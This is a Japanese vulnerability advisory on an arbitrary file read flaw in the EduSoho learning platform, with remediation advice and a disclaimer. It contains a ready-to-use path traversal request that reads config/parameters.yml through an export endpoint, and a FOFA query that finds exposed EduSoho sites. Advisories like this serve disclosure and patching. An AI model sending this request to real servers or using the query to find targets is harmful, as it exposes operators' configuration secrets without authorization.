概要
EduSohoは、杭州闊知網絡科技有限公司が開発したオープンソースのオンライン学習プラットフォームです。このシステムはオンライン授業、学生募集、管理機能を包括しており、教育機関が容易にオンライン教育事業を開始できるよう支援します。また、企業内トレーニングプラットフォームとしても活用可能です。
脆弱性の影響
特別に細工されたリクエストを送信することで、攻撃者はサーバーのファイルシステム上の任意のファイルを読み取ることが可能になります。この脆弱性により、サーバー上の機密情報ファイルが漏洩するリスクがあります。ファイルパスの検証が不十分な場合、ユーザーが変数を操作して任意のファイルにアクセスできてしまいます。
脆弱性の再現
脆弱性詳細:
- 種類: 任意ファイル読み取り
- リクエストメソッド: GET
検証手順:
まず対象システムを特定し、以下の脆弱性エンドポイントにリクエストを送信してレスポンスを確認します。
リクエスト例:
GET /export/classroom-course-statistics?targetFile=../../../../config/parameters.yml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ja-JP,ja;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
Connection: close
修正提案
ユーザーから入力されるファイル名パラメータに対しては、ホワイトリスト方式でのファイル種別制限を実装し、パストラバーサル文字列(../など)やヌル文字を含むリクエストを拒否する必要があります。また、ファイルアクセス処理では、事前に定義された安全なディレクトリ内のみにアクセスを制限する実装が推奨されます。
検索クエリ
FOFA検索構文
title="EduSoho"
免責事項
本記事で提供される技術情報やツールは、学術研究および教育目的のみを対象としています。これらの情報を不正な目的で使用しないでください。本記事の情報を使用したことによって生じたいかなる損害や問題についても、筆者は責任を負いません。情報の利用者は、関連法規および倫理規範を遵守する責任を負うものとします。